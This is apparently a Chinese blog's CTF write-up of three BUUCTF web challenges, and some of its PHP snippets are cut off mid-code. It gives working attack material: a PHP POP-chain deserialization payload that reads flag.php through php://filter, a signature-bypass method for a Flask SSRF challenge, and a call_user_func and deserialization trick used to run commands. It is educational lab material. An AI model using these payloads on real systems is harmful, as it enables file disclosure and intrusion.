buuctf web

buuctf web,第1张

目录

[MRCTF2020]Ezpop

[De1CTF 2019]SSRF Me 1

[网鼎杯 2020 朱雀组]phpweb


[MRCTF2020]Ezpop

Pop链子构造。

首先要明确目的:得到flag.php文件。

简单看一下,发现有include函数,可以利用伪协议来得到flag.php。

改变Modifier中的var属性,可达到目的。

用到的魔法函数:

__construct   当一个对象创建时被调用,

__toString   当一个对象被当作一个字符串被调用。

__wakeup()   使用unserialize时触发

__get()    用于从不可访问的属性读取数据

#难以访问包括:(1)私有属性,(2)没有初始化的属性

__invoke()   当脚本尝试将对象调用为函数时触发

当GET一个pop参数时,首先会被反序列化,便会自动调用Show类中的_wakeup方法。

利用其中的preg_match,给source赋值一个Show类,就调用了__toString()方法。

给str赋值一个Test类,因其没有source属性,便会调用_get方法。

如果给Test中的p属性赋一个Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

改变了Modifier中的var属性,利用文件包含漏洞得到flag.php的内容。

Payload:

source = $file;

    }

    public function __toString(){

        return "abc";

    }

}



class Test{

    public $p;

}



$a = new Show('a');

$a->str = new Test();

$a->str->p = new Modifier();

$b = new Show($a);

echo urlencode(serialize($b))



?>

运行结果:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

[De1CTF 2019]SSRF Me 1

Flask中的ssrf利用。

排列代码:

from flask import Flask

from flask import request

import socket

import hashlib

import urllib

import sys

import os

import json

reload(sys)

sys.setdefaultencoding('latin1')



app = Flask(__name__)



secert_key = os.urandom(16)





class Task:

    def __init__(self, action, param, sign, ip):

        self.action = action

        self.param = param

        self.sign = sign

        self.sandbox = md5(ip)

        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr

            os.mkdir(self.sandbox)



    def Exec(self):

        result = {}

        result['code'] = 500

        if (self.checkSign()):

            if "scan" in self.action:

                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

                resp = scan(self.param)

                if (resp == "Connection Timeout"):

                    result['data'] = resp

                else:

                    print resp

                    tmpfile.write(resp)

                    tmpfile.close()

                result['code'] = 200

            if "read" in self.action:

                f = open("./%s/result.txt" % self.sandbox, 'r')

                result['code'] = 200

                result['data'] = f.read()

            if result['code'] == 500:

                result['data'] = "Action Error"

        else:

            result['code'] = 500

            result['msg'] = "Sign Error"

        return result



    def checkSign(self):

        if (getSign(self.action, self.param) == self.sign):

            return True

        else:

            return False





#generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():

    param = urllib.unquote(request.args.get("param", ""))

    action = "scan"

    return getSign(action, param)





@app.route('/De1ta',methods=['GET','POST'])

def challenge():

    action = urllib.unquote(request.cookies.get("action"))

    param = urllib.unquote(request.args.get("param", ""))

    sign = urllib.unquote(request.cookies.get("sign"))

    ip = request.remote_addr

    if(waf(param)):

        return "No Hacker!!!!"

    task = Task(action, param, sign, ip)

    return json.dumps(task.Exec())

@app.route('/')

def index():

    return open("code.txt","r").read()





def scan(param):

    socket.setdefaulttimeout(1)

    try:

        return urllib.urlopen(param).read()[:50]

    except:

        return "Connection Timeout"







def getSign(action, param):

    return hashlib.md5(secert_key + param + action).hexdigest()





def md5(content):

    return hashlib.md5(content).hexdigest()





def waf(param):

    check=param.strip().lower()

    if check.startswith("gopher") or check.startswith("file"):

        return True

    else:

        return False





if __name__ == '__main__':

    app.debug = False

app.run(host='0.0.0.0')

先注意@后的内容。

第一个的意思是访问/geneSign会返还secert_key + param + action的MD5的值,目前不知道有什莫用。

继续看第二个,访问/De1ta然后可以cookie传入action和sign的值,还可以控制GET传入param的值。

Waf是防止利用gopher和file协议来获取flag。

在后边跳到了Exec类函数中,一层一层绕过if判断。

在第一个时会检查getSign(self.action, self.param) == self.sign相等时才会返回ture。

所以便用上了刚开始的/geneSign。

传入flag.txt是利用代码中可写入,将flag.txt中的值接入result.txt中,然后再读取回显出来。

GET传入param=flag.txtread,read是由于后边会判断read是否在action中。

之后再cookie传入sing=1513ab8b1aebde90618b96fcd58e62b4;action=readscan,

GET传入param=flag.txt。

[网鼎杯 2020 朱雀组]phpweb

发现跳转,利用bp抓包。

发现可以POST传入func和p参数。

随便传一下。

发现call_user_func()函数,猜测func为该函数的第一个参数,p为第二个。

利用file_get_contents查看index.php的源码。

发现大多函数被禁用,但unserialize没有,可以利用反序列化。

Index.php:

func != "") {

                echo gettime($this->func, $this->p);

            }

        }

    }

    $func = $_REQUEST["func"];

    $p = $_REQUEST["p"];



    if ($func != null) {

        $func = strtolower($func);

        if (!in_array($func,$disable_fun)) {

            echo gettime($func, $p);

        }else {

            die("Hacker...");

        }

    }

?>



Payload:

func != "") {

            echo gettime($this->func, $this->p);

        }

    }

}



$a=new Test();

echo serialize($a);

?>

随后找flag就行。

发现flag在/tmp/flagoefiu4r93中,cat查看就行。

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/langs/883426.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-05-14
下一篇2022-05-14

发表评论

登录后才能评论

评论列表(0条)

    保存